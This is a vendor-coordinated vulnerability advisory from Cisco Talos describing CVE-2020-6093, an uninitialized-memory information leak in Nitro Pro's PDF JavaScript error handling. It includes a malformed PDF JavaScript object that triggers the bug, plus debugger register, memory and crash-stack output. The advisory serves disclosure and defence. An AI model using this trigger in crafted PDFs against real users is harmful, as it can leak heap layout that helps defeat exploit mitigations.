Talos Vulnerability Report

TALOS-2020-1014

Nitro Pro PDF Javascript XML error handling Information Disclosure Vulnerability

MAY 18, 2020

CVE NUMBER

CVE-2020-6093

Summary

An exploitable information disclosure vulnerability exists in the way Nitro Pro 13.9.1.155 does XML error handling. A specially crafted PDF document can cause uninitialized memory access resulting in information disclosure. In order to trigger this vulnerability, victim must open a malicious file.

Tested Versions

Nitro Pro 13.9.1.155

Product URLs

https://www.gonitro.com/nps/product-details/downloads

CVSSv3 Score

6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

CWE

CWE-824 - Access of Uninitialized Pointer

Details

Nitro PDF allows users to save, read, sign and edit PDF files on their machines.

NitroPDF strives to have feature parity with other major PDF readers and this includes executing Javascript in order to support interactive forms.

As its underlying Javascript engine, NitroPDF uses Mozilla's Spidermonkey. There exists a vulnerability in the way NitroPDF ties error handling between Javascript execution engine and the native bindings. This can be triggered by parsing a following malformed Javascript object:

```
15 0 obj
<</S/JavaScript/JS(
""><r x="

)/Type/Action>>
endobj
```

Contents of the above `JS` object will be passed to Spidermonkey for execution via `JS_EvaluateUCScript` function. In parsing the above malformed content, Spidermonkey will raise an error and will call the associated error handler. Error handlers are registered via `JS_SetErrorReporter` and expect a function with the following prototype:

```
typedef void
(* JSErrorReporter)(JSContext *cx, const char *message, JSErrorReport *report);
```

Note that the third parameter of this callback is an object of type `JSErrorReport`. When raising an error Javascript execution will end up calling a handler at `np_java_script.dll+0x9a90`. We can observe this call in the debugger:

```
0:000> r
rax=0000000000000000 rbx=00000228e1ebdd30 rcx=00000228e1ebdd30
rdx=00000228e493ffe0 rsi=0000005ccedfd060 rdi=0000000000000000
rip=00000228de33d0bc rsp=0000005ccedfc540 rbp=0000005ccedfc5e1
 r8=0000005ccedfc5a0  r9=00000228e1e88a20 r10=00000228e49f1ff0
r11=00000228e3c92be8 r12=00000228e49f1ff0 r13=0000000000000000
r14=00007ffaee439a90 r15=00000228e49efff0
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
js64u!js_MapKeywords+0x42c:
00000228`de33d0bc 41ffd6          call    r14 {np_java_script+0x9a90 (00007ffa`ee439a90)}
0:000> ub
js64u!js_MapKeywords+0x414:
00000228`de33d0a4 488b55b7        mov     rdx,qword ptr [rbp-49h]
00000228`de33d0a8 488bcb          mov     rcx,rbx
00000228`de33d0ab ffd0            call    rax
00000228`de33d0ad 85c0            test    eax,eax
00000228`de33d0af 740e            je      js64u!js_MapKeywords+0x42f (00000228`de33d0bf)
00000228`de33d0b1 488b55b7        mov     rdx,qword ptr [rbp-49h]
00000228`de33d0b5 4c8d45bf        lea     r8,[rbp-41h]
00000228`de33d0b9 488bcb          mov     rcx,rbx
0:000> dq r8
0000005c`cedfc5a0  0000005c`cedfd438 00000000`00000004
0000005c`cedfc5b0  00000228`e49f1ff0 00000228`e49f1ff8
0000005c`cedfc5c0  00000228`e49efff0 00000228`e49f0000
0000005c`cedfc5d0  000000b8`00000000 00000228`e49edfc0
0000005c`cedfc5e0  00000000`00000000 00000000`0000003d
0000005c`cedfc5f0  0000f30e`fe005b9a 0000005c`cedfce00
0000005c`cedfc600  00000000`0000003d 0000005c`cedfd060
0000005c`cedfc610  00000228`eae39f50 00000000`00000000
```

In the above output, register `r8` contains a pointer to the `JSErrorReport` object. When run with PageHeap enabled, we can examine some of its contents:

```
0:000> dq r8
0000005c`cedfc5a0  0000005c`cedfd438 00000000`00000004
0000005c`cedfc5b0  00000228`e49f1ff0 00000228`e49f1ff8
0000005c`cedfc5c0  00000228`e49efff0 00000228`e49f0000
0000005c`cedfc5d0  000000b8`00000000 00000228`e49edfc0
0000005c`cedfc5e0  00000000`00000000 00000000`0000003d
0000005c`cedfc5f0  0000f30e`fe005b9a 0000005c`cedfce00
0000005c`cedfc600  00000000`0000003d 0000005c`cedfd060
0000005c`cedfc610  00000228`eae39f50 00000000`00000000
0:000> db poi(r8)
0000005c`cedfd438  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000005c`cedfd448  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000005c`cedfd458  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000005c`cedfd468  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000005c`cedfd478  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000005c`cedfd488  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000005c`cedfd498  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000005c`cedfd4a8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> db poi(r8+28)
00000228`e49f0000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000228`e49f0010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000228`e49f0020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000228`e49f0030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000228`e49f0040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000228`e49f0050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000228`e49f0060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000228`e49f0070  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
```

We can observe that some of the content points to uninitialized or freed memory.

Continuing the execution through the error handler leads us to a wrapper around `__stdio_common_vswprintf_s` and ultimately to the following crash:

```
(1128.1a20): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 7EDE79:0
ucrtbase!wcsnlen+0xb0:
00007ffb`3df03660 c5fdd7c1        vpmovmskb eax,ymm1
0:000> k 10
 # Child-SP          RetAddr           Call Site
00 0000005c`cedfb848 00007ffb`3dee680a ucrtbase!wcsnlen+0xb0
01 0000005c`cedfb850 00007ffb`3dee6d7e
ucrtbase!__crt_stdio_output::output_processor<wchar_t,__crt_stdio_output::console_output_adapter<wchar_t>,__crt_stdio_output::format_validat
ion_base<wchar_t,__crt_stdio_output::console_output_adapter<wchar_t> > >::type_case_s+0x5e
02 0000005c`cedfb880 00007ffb`3dee7106
ucrtbase!__crt_stdio_output::output_processor<wchar_t,__crt_stdio_output::string_output_adapter<wchar_t>,__crt_stdio_output::format_validati
on_base<wchar_t,__crt_stdio_output::string_output_adapter<wchar_t> > >::state_case_type+0x2ae
03 0000005c`cedfb8f0 00007ffb`3deeb660
ucrtbase!__crt_stdio_output::output_processor<wchar_t,__crt_stdio_output::string_output_adapter<wchar_t>,__crt_stdio_output::format_validati
on_base<wchar_t,__crt_stdio_output::string_output_adapter<wchar_t> > >::process+0x236
04 0000005c`cedfb980 00007ffb`3deebe97 ucrtbase!common_vsprintf<__crt_stdio_output::format_validation_base,wchar_t>+0x130
05 0000005c`cedfbeb0 00007ffa`ee4372f9 ucrtbase!__stdio_common_vswprintf_s+0x37
06 0000005c`cedfbef0 00007ffa`ee439c3e np_java_script+0x72f9
07 0000005c`cedfbf40 00000228`de33d0bf np_java_script+0x9c3e
08 0000005c`cedfc540 00000228`de32b2d1 js64u!js_MapKeywords+0x42f
09 0000005c`cedfc640 00000228`de32aa51 js64u!js_FindProperty+0x16011
0a 0000005c`cedfc6a0 00000228`de32ae24 js64u!js_FindProperty+0x15791
0b 0000005c`cedfc710 00000228`de326ed4 js64u!js_FindProperty+0x15b64
0c 0000005c`cedfc740 00000228`de325b91 js64u!js_FindProperty+0x11c14
0d 0000005c`cedfc7b0 00000228`de329d40 js64u!js_FindProperty+0x108d1
0e 0000005c`cedfc820 00000228`de325ffc js64u!js_FindProperty+0x14a80
0f 0000005c`cedfc890 00000228`de321b53 js64u!js_FindProperty+0x10d3c
```

In this case, with PageHeap enabled, the crash happens during `wcsnlen` function call. If we step back, we can observe that the culprit of the crash was indeed the pointer at offset 0x28 of the `JSErrorReport`:

```
ucrtbase!__crt_stdio_output::output_processor<wchar_t,__crt_stdio_output::console_output_adapter<wchar_t>,__crt_stdio_output::format_validat
ion_base<wchar_t,__crt_stdio_output::console_output_adapter<wchar_t> > >::type_case_s+0x59:
00007ffb`3dee6805 e8a6cd0100      call    ucrtbase!wcsnlen (00007ffb`3df035b0)
0:000> ?rcx
Evaluate expression: 2374657572864 = 00000228`e49f0000
```

When run without Pageheap, this doesn't lead to a crash, but instead ends up reading from stale pointers on the heap into an error reporting object. As this is done in the Javascript context, it is possible that this could be abused to leak sensitive information regarding heap layout which could be abused to bypass other exploit mitigations.

Timeline

2020-02-19 - Vendor Disclosure

2020-05-18 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2020-1013

NEXT REPORT TALOS-2020-0997